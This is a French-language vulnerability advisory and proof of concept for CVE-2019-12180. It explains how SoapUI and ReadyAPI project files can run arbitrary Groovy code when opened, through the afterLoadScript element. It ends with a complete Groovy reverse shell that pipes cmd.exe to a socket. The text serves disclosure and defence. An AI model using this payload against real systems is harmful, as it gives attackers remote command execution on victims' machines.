
Avis et preuve de concept pour CVE-2019-12180, démontrant l'exécution arbitraire de code Groovy dans SoapUI et ReadyAPI via des fichiers de projet malveillants.
Avis & PoC
SoapUI et ReadyAPI vous permettent de créer ou d'ajouter des contenus dynamiques aux cas de test (par exemple, pour calculer un horodatage à la volée) à l'aide de scripts en langage Apache Groovy. L'exécution de ces scripts peut être déclenchée de nombreuses manières et ils sont stockés dans le fichier XML « Project file » une fois qu'un projet est sauvegardé.
La fonction « Load Script » permet de créer un script Groovy qui est lancé dès l'ouverture du fichier projet (élément con:afterLoadScript du fichier XML Project) sans aucune autre interaction de l'utilisateur. Ce comportement peut être exploité par un attaquant pour créer des fichiers projet malveillants qui, une fois ouverts, exécutent du code Groovy arbitraire sur le système de la victime. Puisqu'il est possible d'exécuter des commandes système en utilisant le langage Groovy, cette fonctionnalité peut être exploitée pour exécuter efficacement des commandes à distance.
REMARQUE : le même objectif peut être atteint en exploitant toute autre fonction capable de script Groovy (par exemple « Save script »), mais cela nécessitera une interaction utilisateur supplémentaire après le chargement du fichier projet.
Application vulnérable :
Au moment de la rédaction (2020-02-04), il s'agit d'une vulnérabilité 0day, car les (multiples) dates de divulgation proposées sont passées sans publication de correctif par le vendeur.
Exemple de reverse shell Groovy (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) :
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();